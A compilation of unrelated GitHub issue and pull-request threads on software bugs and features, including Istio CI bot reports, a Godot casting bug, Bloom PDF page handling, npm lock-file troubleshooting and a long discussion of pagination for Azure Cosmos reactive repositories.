The "Caption" text should be more visible and "upload" button is not eye catching. Can I work on this?

Additional information
No response

You can work on this :) . Also, please provide screenshot for both dark and light mode in the PR.
Regards

Can I work on this issue

Sorry Abhishek but this issue has been claimed already :(. But you might claim it if it becomes unattended :)
Regards


Change the client port

Hi
Is is possible to change the client port that the server connects to?
For Context:
I am testing a replicated system on localhost. I have multiple instances of the same binary. The tracy cli seems to select one of them at random to capture the profile. I would like to choose one replica myself instead by having all of them listen on different ports.
My understanding is that by including this crate is it automatically enabled at compile time. It would be kind of inconvenient to produce different binaries.
I had a brief look at all three crates but I couldn't find an exposed setting. Happy to submit a PR with some guidance.
Thanks

Yeah, as far as I know there is no way to change the port besides the environment variable, and I don't believe the client libraries will add an API to do so in the future.


Test whether a microservice is online in the ESB

We hit this logged error when testing whether a service is online, discussion here, in case it is not. It would be good to have a function for that that doesn't log, so that the broker can test whether other services are up and running.

I am afraid ZMQ architecture / protocol design prevents us from doing that. The whole idea of ZMQ sockets is to be automatically re-connectable, i.e. services are allowed to be offline. The only way to test connectivity is to send a message to the other service. Probably we will need some sort of ping/pong workflow internally in the library for that...

The only way to test connectivity is to send a message to the other service.

Correct

Probably we will need some sort of ping/pong workflow internally in the library for that...

Not sure a ping/pong is needed. Just a on-demand way to send message to another service that doesn't log errors.

something like this, its copy/paste/modify from send_to function
impl<A> Endpoint<A>
where
    A: ServiceAddress,
{
    pub(self) fn dest_up(&mut self, source: A, dest: A) -> bool {
        // what to put as data, and how to handle receiving it?
        let data = vec![];
        let router = match self.router {
            None => {
                trace!("Sending {} from {} to {} directly", request, source, dest,);
                dest.clone()
            }
            Some(ref router) if &source == router => {
                trace!("Routing {} from {} to {}", request, source, dest,);
                dest.clone()
            }
            Some(ref router) => {
                trace!("Sending {} from {} to {} via router {}", request, source, dest, router,);
                router.clone()
            }
        };
        let src = source.clone();
        let dst = dest.clone();
        match self.session.send_routed_message(&source.into(), &router.into(), &dest.into(), &data)
        {
            Ok(()) => true,
            _ => false,
        }
    }
}

Sorry, I am not getting. Is the logging a problem? If yes, it can be controlled in a standard way with [env_logger](https://docs.rs/env_logger/0.9.0/env_logger/) crate by setting filters via environment variables

I find the requested feature questionable. The intend was to distinguish between normal error logging, and add the ability to probe for services online by some sort of microservice manager, for example, without logging (this was a concern from another contributor).
I will describe the actual problem.

service A suspects service B is down
so A probes B to see if it is up by sending a msg
3a. A detects B is down, and relaunch it
3b. or A detects B is up, and do nothing

the fn above dest_up probes whether service dest is up, and returns a bool.

If you will send just an message like in the dest_up fn, it will be a failure on the receiving part since it won't be aple to parse it. So the real way of doing that is ping/ponging, and probably proper way of implementation would be make ping/ponging opt-in feature at the controller level, such that controller will call some Handler dedicated callback and the managing daemon will be able to re-launch failed service. I will work on that, but feel free to do the PR if you'd like.
I think we can leave the issue opened, just change its name

I will work on that, but feel free to do the PR if you'd like.

Please go ahead, you know exactly how to integrate it in the larger framework :)


"I'm Feeling Graphy!" button should show only first entity in response

currently, the direct to graph mechanism will show a tree for each item in the response list
but to better maintain the metaphor of "I'm feeling lucky", we should only show the first item in the response list

handled in this PR: https://github.com/intuit/katlas/pull/104


framework: improve logging

Ultimate goal here is to avoid the istioctl command from setting logs to
warn/error, which means we cannot see them in tests.

@howardjohn: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

integ-pilot-istiodremote_istio
b9e9e55cd28202a0cc752f1f3656599fc9654827
link
true
/test integ-pilot-istiodremote

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

integ-pilot-istiodremote_istio
b9e9e55cd28202a0cc752f1f3656599fc9654827
link
true
/test integ-pilot-istiodremote

integ-pilot_istio
b9e9e55cd28202a0cc752f1f3656599fc9654827
link
true
/test integ-pilot

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

integ-pilot-istiodremote_istio
b9e9e55cd28202a0cc752f1f3656599fc9654827
link
true
/test integ-pilot-istiodremote

integ-pilot_istio
b9e9e55cd28202a0cc752f1f3656599fc9654827
link
true
/test integ-pilot

integ-cni_istio
b9e9e55cd28202a0cc752f1f3656599fc9654827
link
true
/test integ-cni

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

integ-pilot_istio
b9e9e55cd28202a0cc752f1f3656599fc9654827
link
true
/test integ-pilot

integ-cni_istio
b9e9e55cd28202a0cc752f1f3656599fc9654827
link
true
/test integ-cni

integ-pilot-istiodremote_istio
b3c3d079c04a81ef77b2fbdc937f17f24ea0d4a9
link
true
/test integ-pilot-istiodremote

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

integ-cni_istio
b9e9e55cd28202a0cc752f1f3656599fc9654827
link
true
/test integ-cni

integ-pilot-istiodremote_istio
b3c3d079c04a81ef77b2fbdc937f17f24ea0d4a9
link
true
/test integ-pilot-istiodremote

integ-pilot_istio
b3c3d079c04a81ef77b2fbdc937f17f24ea0d4a9
link
true
/test integ-pilot

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

integ-pilot-istiodremote_istio
b3c3d079c04a81ef77b2fbdc937f17f24ea0d4a9
link
true
/test integ-pilot-istiodremote

integ-pilot_istio
b3c3d079c04a81ef77b2fbdc937f17f24ea0d4a9
link
true
/test integ-pilot

integ-cni_istio
b3c3d079c04a81ef77b2fbdc937f17f24ea0d4a9
link
true
/test integ-cni

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test macbuildcheck
Just trying to run the job


godot::Object::cast_to() always returns nullptr when target is user defined class

Inside godot::register_class() we have
_TagDB::register_type(typeid(T).hash_code(), typeid(T).hash_code());
The first and second arguments always have the same value
The definition of _TagDB::register_type() is
void register_type(size_t type_tag, size_t base_type_tag) {
	if (type_tag == base_type_tag) {
		return;
	}
	parent_to[type_tag] = base_type_tag;
}

Hence it will immediately return and it won't register the custom type tag as a child of the actual parent.
Calling cast_to() won't be able to resolve the casting.
I think the call should be something like
_TagDB::register_type(typeid(T).hash_code(), typeid(T::BaseT).hash_code());
where BaseT is defined by the GODOT_CLASS() macro for T

That's what #210 is fixing.

210 has been merged, does this resolve the issue?

Yes, this look fixed now


feat(ui): add option to disable webcam

@Lucaszw please add a reference to the commit where this was implemented.


First tag, untag THEN reload the image

Signed-off-by: baude<EMAIL_ADDRESS>

LGTM
@rh-atomic-bot r+


Getting error while opening the float64

Description
Unable to open the float64
What steps will reproduce the problem?

clicked on the file name and it's throwing the error
in the same set there is another file name with similar type having no issue

What is the expected output? What do you see instead?
Please provide any additional information below
File "/home/arghyap/anaconda3/lib/python3.6/site-packages/spyder/widgets/variableexplorer/collectionseditor.py", line 449, in createEditor
if not editor.setup_and_check(value, title=key, readonly=readonly):
File "/home/arghyap/anaconda3/lib/python3.6/site-packages/spyder/widgets/variableexplorer/arrayeditor.py", line 619, in setup_and_check
self.data.flags.writeable = True
ValueError: cannot set WRITEABLE flag to True of this array
Version and main components

Spyder Version: 3.2.4
Python Version: 3.6.3
Qt Versions: 5.6.2, PyQt5 5.6 on Linux

Dependencies
pyflakes >=0.6.0 :  1.6.0 (OK)
pycodestyle >=2.3:  2.3.1 (OK)
pygments >=2.0   :  2.2.0 (OK)
pandas >=0.13.1  :  0.20.3 (OK)
numpy >=1.7      :  1.16.2 (OK)
sphinx >=0.6.6   :  1.6.3 (OK)
rope >=0.9.4     :  0.10.5 (OK)
jedi >=0.9.0     :  0.10.2 (OK)
psutil >=0.3     :  5.4.0 (OK)
nbconvert >=4.0  :  5.3.1 (OK)
sympy >=0.7.3    :  1.1.1 (OK)
cython >=0.21    :  0.26.1 (OK)
qtconsole >=4.2.0:  4.3.1 (OK)
IPython >=4.0    :  6.1.0 (OK)
pylint >=0.25    :  2.3.1 (OK)

This is fixed in our latest version (3.3.4). Please update by opening the Anaconda Prompt and running there
conda update spyder


Remove: purocean.YankNote version 3.6.0

## .\Tools\YamlCreate.ps1 -SkipPRCheck -Mode 5 -PackageIdentifier purocean.YankNote -PackageVersion 3.6.0

[X] Have you signed the Contributor License Agreement?
[X] Have you checked that there aren't other open pull requests for the same manifest update/change?

[X] Does your manifest conform to the 1.0 schema?

Microsoft Reviewers: Open in CodeFlow

/azp run


Output the same error when using kubectl describe for a nonexisting resource

@marekbiskup #10532 has been merged, So I created a new commit, and changed according to your advice, Could you please review this new commit?

add to whitelist

LGTM

@bgrant0607 this is a follow-up from #10532 that unifies error messages for kubectl describe node asdf and node/asdf (now the error message should be in singular and with exactly the same text).
I suggest we also put it in.

Please rebase.
@JanetKuo PTAL

@bgrant0607  @JanetKuo  Sorry, I'm on a business trip, will be back this Friday, and then I'll do this as soon as possible.

LGTM. Please comment after rebasing.

@JanetKuo  Hi, I have rebased onto the master, please review.


Add single page mode for output (BL-3929)

Also add memory use check.

This change is

Reviewed 6 of 6 files at r1.
Review status: all files reviewed at latest revision, 3 unresolved discussions.

src/GeckofxHtmlToPDFComponent.cs, line 278 at r1 (raw file):

/hopefully nulls ok/

And if not?

src/GeckofxHtmlToPDFComponent.cs, line 335 at r1 (raw file):

			}
			// Otherwise, nonexistent pages off the end of the book produce very small identical empty page files.
			// (For Geckofx45, these empty page files are 833 bytes on Linux and 843 bytes on Windows.)

What happens if the next version of Geckofx produces these files of size 875?

src/GeckofxHtmlToPDFComponent.cs, line 388 at r1 (raw file):

					filenames.Add(file.FullName);
			}
			filenames.Sort();

Is this going to sort as 1, 10, 2, 3, etc?

Comments from Reviewable

Review status: all files reviewed at latest revision, 3 unresolved discussions.

src/GeckofxHtmlToPDFComponent.cs, line 278 at r1 (raw file):
Previously, andrew-polk wrote…
> > /*hopefully nulls ok*/
>
> And if not?

The code works okay as far as I can tell.  It was copied verbatim from an email from Tom Hindle, who may have writing off the top of his head.  Looking at the arguments in the Geckofx sources, I think it's an optional logger object that is being passed null.

src/GeckofxHtmlToPDFComponent.cs, line 335 at r1 (raw file):
Previously, andrew-polk wrote…
> What happens if the next version of Geckofx produces these files of size 875?

When we test the program with a new version using the --single-pages option, it will never terminate.  The programmer should become suspicious somewhere around page 3000, and notice that there are 2900 files with same exact size of 875.  :-)  That's how I came up with this number to begin with since my original code assumed a final file size of zero.

src/GeckofxHtmlToPDFComponent.cs, line 388 at r1 (raw file):
Previously, andrew-polk wrote…
> Is this going to sort as 1, 10, 2, 3, etc?

It may sort as 001..100, 1000, 10000, 101, etc.  I don't expect more than 999 pages in any plausible Bloom book.  I suppose i could change the format to {1:0000} from {1:000} where the filenames are being created.

Comments from Reviewable

Review status: all files reviewed at latest revision, 2 unresolved discussions.

src/GeckofxHtmlToPDFComponent.cs, line 335 at r1 (raw file):
Previously, StephenMcConnel (Steve McConnel) wrote…
> When we test the program with a new version using the --single-pages option, it will never terminate.  The programmer should become suspicious somewhere around page 3000, and notice that there are 2900 files with same exact size of 875.  :-)  That's how I came up with this number to begin with since my original code assumed a final file size of zero.

I guess I'm just concerned that this feature could easily get missed in testing when we upgrade versions of Geckofx

src/GeckofxHtmlToPDFComponent.cs, line 388 at r1 (raw file):
Previously, StephenMcConnel (Steve McConnel) wrote…
> It may sort as 001..100, 1000, 10000, 101, etc.  I don't expect more than 999 pages in any plausible Bloom book.  I suppose i could change the format to {1:0000} from {1:000} where the filenames are being created.

No, <=999 should be okay. I missed the connection of formatting as 1:000. Thanks for clarifying.

Comments from Reviewable

Review status: all files reviewed at latest revision, 1 unresolved discussion.

src/GeckofxHtmlToPDFComponent.cs, line 335 at r1 (raw file):
Previously, andrew-polk wrote…
> I guess I'm just concerned that this feature could easily get missed in testing when we upgrade versions of Geckofx

There's the flip side that genuine blank pages from Bloom are only ~950 bytes long.  I doubt someone would leave 5 consecutive pages blank, but it could possibly happen.  And those files are likelier to get shorter than the bogus empty pages get longer.  I could add a couple of test scripts to exercise the program on the test data with differing command line options including --single-pages.

Comments from Reviewable

Review status: all files reviewed at latest revision, 1 unresolved discussion.

src/GeckofxHtmlToPDFComponent.cs, line 335 at r1 (raw file):
Previously, StephenMcConnel (Steve McConnel) wrote…
> There's the flip side that genuine blank pages from Bloom are only ~950 bytes long.  I doubt someone would leave 5 consecutive pages blank, but it could possibly happen.  And those files are likelier to get shorter than the bogus empty pages get longer.  I could add a couple of test scripts to exercise the program on the test data with differing command line options including --single-pages.

Seems like a good idea if not terribly time-consuming.

Comments from Reviewable

Review status: 6 of 8 files reviewed at latest revision, 1 unresolved discussion.

src/GeckofxHtmlToPDFComponent.cs, line 335 at r1 (raw file):
Previously, andrew-polk wrote…
> Seems like a good idea if not terribly time-consuming.

Done.

Comments from Reviewable

Reviewed 2 of 2 files at r2.
Review status: all files reviewed at latest revision, all discussions resolved.

Comments from Reviewable


Major semver: drop node 4 support

Blocking #241 (refactor es6 class)

[ ] Tests and linter pass
[ ] Code coverage does not decrease (if any source code was changed)
[ ] Appropriate docs were updated (if necessary)

Something is still going wrong with my package-lock.json's (lint breaks), need some help please @googleapis/yoshi-nodejs

The answer here is comical.  You need to:
rm -rf package-lock.json node_modules samples/package-lock.json samples/node_modules
npm install
npm run prettier

That should fix it :)

8252c7e fixed it. Still no idea why.

I don't think you meant to delete samples/package-lock.json :) . Actually, I just gave you bad instructions.  Please run npm install in the samples directory again to regenerate the file.
On the common upgrade thing...  don't look a gift horse in the mouth? :)

Here goes the Right Way of regenerating lock files :)
npm install && npm link && cd samples && npm link ../ && npm install && cd .. && npm run lint
git status # sanity check: one or two lock files must be updated
git commit -a -m 'updated package lock files'

The npm link in main folder and npm link ../ in samples folder are important to make it build the right dependency tree.

(note: I have updated the commands in my previous comment)

@alexander-fenster it was one of the things that I tried as well. I even went as far as removing both package-lock.json and SSH into the (passing) build and grabbing the files and recommitting them.

I'm suspecting it's a problem with my setup. Could you see if you would generate a different lock file?

➜  ~ node -v
v10.4.1
➜  ~ npm -v
6.1.0


Beware, on Flutter 3.24, the onPopPage is deprecated.

Describe the bug
On Flutter 3.24 the onPopPage is deprecated and change to onDidRemovePage. GetX using onPopPage in here. I don't know what behaviour will change. Just beware OR just use old version of flutter.
Flutter Version:
3.24.0
Getx Version:
4.6.6

Flutter documentation about the API change

kindly also try, latest version 5 RC6

Thanks for pointing this out.
This impacts very little on the current api, but I am already making these changes.
This has a greater impact on those who used the nested routes API, but GetPage will also gain a canPop flag, so you can define this at the time of the routes
Since I'm on vacation from work, and working fully on GetX, within 2 or 3 days we will have a major version.

The major version will be the version 5 stable?

Thanks, so much
On Tue, Aug 13, 2024, 5:08 AM Jonny Borges @.***> wrote:

Thanks for pointing this out.
This impacts very little on the current api, but I am already making these
changes.
This has a greater impact on those who used the nested routes API, but
GetPage will also gain a canPop flag, so you can define this at the time of
the routes
Since I'm on vacation from work, and working fully on GetX, within 2 or 3
days we will have a major version.
—
Reply to this email directly, view it on GitHub
https://github.com/jonataslaw/getx/issues/3161#issuecomment-2285102851,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AIRXJSEBFROCEHTMQKX3OHDZRFE7JAVCNFSM6AAAAABMLREMJWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDEOBVGEYDEOBVGE
.
You are receiving this because you commented.Message ID:
@.***>


Feature/add jsonb and optimizations

Added support for JSONB from PostgreSQL 9.4.
Removed Hashie::Mash from dependencies, for performance.
In other project we found that Hashie can be very slow on big number of multiple queries.
Added database tests.
Added tests for JSONB.
Added coder option for symbolize_keys.
Readme updated.

Thank you very much! I'm going to release a new gem version.


⚠ API - Lens has degraded performance

In 57fb1a9, API - Lens ($LENS_API_URL) experienced degraded performance:

HTTP code: 503
Response time: 640 ms

Resolved: API - Lens performance has improved in 1cb06a9 after 8 minutes.


alerting comments first documentation rough draft

Description
Adds documentation for the new experimental feature Alerting Comments. Relevant PR: https://github.com/opensearch-project/alerting/pull/1561
Issues Resolved
See above PR for issues resolved
Version
2.15
Checklist

[x] By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license and subject to the Developers Certificate of Origin.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Let's hold off on a review until the dev PR gets merged: https://github.com/opensearch-project/alerting/pull/1561


MenuScreen: Create Menu screen mockup + pass to dev

right now, If a user is playing in the app version of the game, and there is a game server crash or the game breaks, there is no way other than force quitting the app to get back to the main screen.
Lets add a quick button or link that just sends the player back to the landing screen
and lets add another button that "refreshes" their game (refresh the browser windows).
this is mostly for the app, but having these in the web version is fine and offers a better ux experience anyway.

since this is only related to the app, it is lower priority (we won't be using the app in this upcoming playtest)

Just finished and pushed this @johnnycrich. I created this to match the bounds of the smallest devices in browser, which is why I didn't just reuse the same sizing of other modals.

confirmed in game.


Sorting and Paging for ReactiveCosmosRepository

I am working with:

Java 11
Spring Boot version 2.3.3
Azure Spring Data Cosmos version 3.3.0
ReactiveCosmosRepository

Situation
I understand there is support for pagination in Sync Spring Data Cosmos DB as per this sample and this tutorial.
I also understand there is support for pagination using a continuation token in the plain Java Async SDK as per this page. Using this, however, requires using two different clients in a spring application: one for async paginated calls and another for the rest.
Problem
However, support is restricted to a non-reactive spring repository and to the plain java SDK, as the underlying repository being used in the former is the standard Spring PagingAndSortingRepository:
import com.azure.spring.data.cosmos.core.query.CosmosPageRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.Pageable;
import org.springframework.data.repository.PagingAndSortingRepository;

import java.util.List;

public class PageableRepositoryCodeSnippet<T> {

    @Autowired
    private PagingAndSortingRepository<T, String> repository;

    private List<T> findAllWithPageSize(int pageSize) {

        final CosmosPageRequest pageRequest = new CosmosPageRequest(0, pageSize, null);
        Page<T> page = repository.findAll(pageRequest); // <-- this would be a blocking call
        List<T> pageContent = page.getContent();
        while (page.hasNext()) {
            Pageable nextPageable = page.nextPageable();
            page = repository.findAll(nextPageable);
            pageContent = page.getContent();
        }
        return pageContent;
    }
}

So, no clear support exists for ReactiveCosmosRepository.
Similar Solution in Spring Data
As per this stackoverflow accepted response:

The reactive support in Spring Data does not provide means of a Page return type. Still, the Pageable parameter is supported in method signatures passing on limit and offset to the drivers and therefore the store itself, returning a Flux that emits the range requested.
Flux<Person> findByFirstname(String firstname, Pageable pageable);

As per this tutorial, we could have something like this in the repository:
package com.thepracticaldeveloper.reactiveweb.repository;

import com.thepracticaldeveloper.reactiveweb.domain.Quote;

import org.springframework.data.domain.Pageable;
import org.springframework.data.repository.reactive.ReactiveSortingRepository;

import reactor.core.publisher.Flux;

public interface QuoteMongoReactiveRepository extends ReactiveSortingRepository<Quote, String> {

    Flux<Quote> findAllByIdNotNullOrderByIdAsc(final Pageable page);
}

And then something like this in the controller:
package com.thepracticaldeveloper.reactiveweb.controller;

import com.thepracticaldeveloper.reactiveweb.domain.Quote;
import com.thepracticaldeveloper.reactiveweb.repository.QuoteMongoReactiveRepository;
import org.springframework.data.domain.PageRequest;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import reactor.core.publisher.Flux;

import java.time.Duration;

@RestController
public class QuoteReactiveController {

    private static final int DELAY_PER_ITEM_MS = 100;

    private final QuoteMongoReactiveRepository quoteMongoReactiveRepository;

    public QuoteReactiveController(final QuoteMongoReactiveRepository quoteMongoReactiveRepository) {
        this.quoteMongoReactiveRepository = quoteMongoReactiveRepository;
    }

    ...

    @GetMapping("/quotes-reactive-paged")
    public Flux<Quote> getQuoteFlux(final @RequestParam(name = "page") int page,
                                    final @RequestParam(name = "size") int size) {
        return quoteMongoReactiveRepository.findAllByIdNotNullOrderByIdAsc(PageRequest.of(page, size))
                .delayElements(Duration.ofMillis(DELAY_PER_ITEM_MS));
    }

}

As stated, the suggestion is to replicate a similar API in ReactiveCosmosRepository providing support for Pageable as with WebFlux ReactiveSortingRepository.
Important: given the potential performance limitations of offset limit as opposed to using a continuation token, perhaps a better alternative would be to adjust the logic of the already mentioned spring data cosmos sync solution to a reactive repository using Flux or PagedFlux instead.
EDIT1: The more I think about it, it seems the best would be to bring PagedFlux and byPage from the Async Java SDK into ReactiveCosmosRepository, that is, bringing the concept from here into ReactiveCosmosRepository.

Observe pages
The following example shows how the PagedFlux API lets you observe each page asynchronously, again by using a byPage() API and by providing a consumer, error consumer, and a completion consumer.
asyncClient.listSecrets().byPage()
  .subscribe(page -> {
          System.out.println("Response code: " + page.getStatusCode());
          System.out.println("Continuation Token: " + page.getContinuationToken());
          page.getElements().forEach(secret -> System.out.println("Secret value: " + secret))
      },
      ex -> System.out.println("Error listing pages with secret: " + ex.getMessage()),
      () -> System.out.println("Successfully listed all pages with secret"));

Perhaps allowing a findAll method that returns a PagedFlux instead of a Flux:
@NoRepositoryBean
public interface ReactiveCosmosDerivedRepository<T, K> extends ReactiveCosmosRepository<T, K> {

    PagedFlux<T> findAllByIsDeleted(boolean b);

}

This would be a very clean and elegant API for paged requests in ReactiveCosmosRepository.
Alternative
If there is a different and recommended way to support sorting and pagination with ReactiveCosmosRepository, may I suggest adding it to the documentation just as the example provided for non-reactive repositories.
Information Checklist
Kindly make sure that you have added all the following information above and checkoff the required fields otherwise we will treat the issuer as an incomplete report

[X] Description Added
[X] Expected solution specified

Thank you for your feedback. Tagging and routing to the team member best able to assist.

@nisha-bhatia should this actually be routed to @kushagraThapar and not @yungezz?

@joshfree - correct, I will look into this, thanks!

In the meantime, I'm trying to work with CosmosPagedFlux by creating custom methods in a persistence adapter that I created to map persistence entities to domain entities.
For normal methods that return a Flux, I do something like:
public Flux<D> findAll() {
        return this.reactiveRepository
                .findAllByIsDeleted(false)
                .map(map::toDomain);
}

This iterates over the input Flux (of persistence entities) and returns a Flux (of domain entities), using method map.toDomain(entity).
I'm now trying to introduce a CosmosPagedFlux similar to the above but paginated. I wonder, though, if it is possible to receive an input CosmosPagedFlux and produce an output CosmosPagedFlux?

@luissalgadofreire - it is possible to create CosmosPagedFlux through existing CosmosPagedFlux by using the handle() API.
/**
     * Handle for invoking "side-effects" on each FeedResponse returned by CosmosPagedFlux
     *
     * @param feedResponseConsumer handler
     * @return CosmosPagedFlux instance with attached handler
     */
    @Beta(value = Beta.SinceVersion.V4_6_0, warningText = Beta.PREVIEW_SUBJECT_TO_CHANGE_WARNING)
    public CosmosPagedFlux<T> handle(Consumer<FeedResponse<T>> feedResponseConsumer) {
        return new CosmosPagedFlux<T>(this.optionsFluxFunction, feedResponseConsumer);
    }

This API was introduced for exactly the same situation that you have mentioned above.
This API is present on CosmosPagedFlux here - https://docs.microsoft.com/en-us/java/api/com.azure.cosmos.util.cosmospagedflux.handle?view=azure-java-stable#com_azure_cosmos_util_CosmosPagedFlux_handle_java_util_function_Consumer_com_azure_cosmos_models_FeedResponse_T___
Regarding your original question, I am looking at it.

Thanks for the reply @kushagraThapar.
I'm trying to take advantage of the handle() method but without success. An example of its usage would be much appreciated.

I saw the test cases:
@Test(groups = { "simple" }, timeOut = TIMEOUT)
    public void readAllItemsByPageWithCosmosPagedFluxHandler() throws Exception {
        CosmosQueryRequestOptions cosmosQueryRequestOptions = new CosmosQueryRequestOptions();

        CosmosPagedFlux<InternalObjectNode> cosmosPagedFlux =
            cosmosAsyncContainer.readAllItems(cosmosQueryRequestOptions, InternalObjectNode.class);

        AtomicInteger handleCount = new AtomicInteger();
        cosmosPagedFlux = cosmosPagedFlux.handle(feedResponse -> {
            CosmosDiagnostics cosmosDiagnostics = feedResponse.getCosmosDiagnostics();
            if (cosmosDiagnostics != null) {
                handleCount.incrementAndGet();
            }
        });

        AtomicInteger itemCount = new AtomicInteger();
        AtomicInteger feedResponseCount = new AtomicInteger();
        cosmosPagedFlux.byPage().toIterable().forEach(feedResponse -> {
            feedResponseCount.incrementAndGet();
            int size = feedResponse.getResults().size();
            itemCount.addAndGet(size);
        });

        assertThat(handleCount.get() >= 1).isTrue();
        assertThat(handleCount.get()).isEqualTo(feedResponseCount.get());
        assertThat(itemCount.get()).isEqualTo(NUM_OF_ITEMS);
    }

It doesn't seem to apply to my needs, though. It doesn't seem to allow for the use case I mentioned. Converting a full CosmosPagedFlux to CosmosPagedFlux in a manner equivalent to the example given for Flux to Flux. I may explore other ways but it would be interesting to be able to use CosmosPagedFlux directly to achieve that goal, which is to allow for entity conversion on the fly in a reactive style.

Supporting this syntax

Flux findByFirstname(String firstname, Pageable pageable);
should be very easy - most of the code to support this was recently added to the non-reactive api in this PR https://github.com/Azure/azure-sdk-for-java/pull/19527.  I'm working on something else at the moment but should be able to get this in shortly.

Re: full support for a PagedFlux, I'll leave that to those more familiar with the reactive implementation.

@Blackbaud-MikeLueders - Thanks for the help, that would be great. Support for Pageable for reactive API should be enough to unblock most of our customers who have the paging requirements on reactive APIs.
@luissalgadofreire - as mentioned in other issue regarding mapPage() API, let's keep this issue confined to paging discussion on reactive API. And we can continue to discuss the mapPage concept on the other issue.

Agree, @kushagraThapar, thanks.

So I looked into this a bit more and, while I don't think the implementation would be difficult, I'm not sure it's the right thing to do.  The main issue is there is no Page returned so there's no way to pass back the continuation token.  This is not really an issue for something like spring-data-jpa b/c it handles offsets efficiently.  Cosmos does not inherently support an offset, it supports a continuation token.  It works around this and seems to support an offset by internally executing the query and paging through the results on the server until the offset is reached and then returns the results, with an increased RU cost relative to the offset size (at least I believe that's what it's doing, please correct me if i'm wrong on this point).
If clients were to implement offset-based paging with cosmos, they might incur unexpected costs as well as degraded performance, depending on their paging requirements.  My primary concern with implementing this strategy is that it would encourage clients to use cosmos in a way that it is not fundamentally intended to be used.  Cosmos is not intended to be paged in the traditional manner - the results are intended to be streamed (e.g. infinite scroll).
@kushagraThapar @luissalgadofreire Thoughts?

@Blackbaud-MikeLueders, agree.
That’s what I was trying to convey. It is possible to use OFFSET LIMIT for pagination but it’s not advised because every new page will increase the offset and cost more than the previous page. I agree that introducing it as out-of-the-box feature may encourage users to use it at an extra cost.
I would say best practice in this case would always be something based on continuation token.

@Blackbaud-MikeLueders @luissalgadofreire - yes that theory is correct, and that is one of the main reasons we don't want clients to pay extra cost for OFFSET and LIMIT query features, as they will drain all the records, and will cost high RUs and degraded performance.
Continuation token is the best / and only (performance wise) way to go here.

Closing this issue because of no activity. Please re-open it if the issue still exists.

Also interested in this one. What would be the best workaround for now and what is the long term goal?

@MattiNieminen the best work around is not to use cosmosdb. That is what I did. I have figured out pagination and efficient data retrieval with reactive approach. However, there is lack of documentation and examples.

@fatagun / @MattiNieminen  - the reason this was closed is described here - https://github.com/Azure/azure-sdk-for-java/issues/19138#issuecomment-792876105
@fatagun - if you have examples for efficient data retrieval using reactive approach while still supporting pagination using offset, can you please share those? It may help other customer as well, thanks!

I still think CosmosPagedFlux should strive to mirror PagedFlux from the Azure Java SDK. It has both byPage method for pagination and mapPage, important reactive constructs that CosmosPagedFlux is missing.

@luissalgadofreire  - I believe so, it should be straightforward to implement. I will try it out sometime next week and will post an update here!

In looking into this more I do not think we can return an object which extends Flux.
I created a basic class:
`public class BasicFlux extends Flux {
@Override
public void subscribe(CoreSubscriber coreSubscriber) {
}

}`
When I try to return this as a type:
BasicFlux<ReactiveTeacher> findAllByFirstName(String firstName);
I get the following error:
`java.lang.ClassCastException: class reactor.core.publisher.FluxUsingWhen cannot be cast to class com.azure.spring.data.cosmos.common.BasicFlux (reactor.core.publisher.FluxUsingWhen and com.azure.spring.data.cosmos.common.BasicFlux are in unnamed module of loader 'app')
at com.sun.proxy.$Proxy77.findAllByFirstName(Unknown Source)
at com.azure.spring.data.cosmos.repository.integration.ReactiveTeacherRepositoryIT.testFindAllItemsOnePage(ReactiveTeacherRepositoryIT.java:83)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:566)
at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59)
at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56)
at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17)
at org.springframework.test.context.junit4.statements.RunBeforeTestExecutionCallbacks.evaluate(RunBeforeTestExecutionCallbacks.java:74)
at org.springframework.test.context.junit4.statements.RunAfterTestExecutionCallbacks.evaluate(RunAfterTestExecutionCallbacks.java:84)
at org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:26)
at org.springframework.test.context.junit4.statements.RunBeforeTestMethodCallbacks.evaluate(RunBeforeTestMethodCallbacks.java:75)
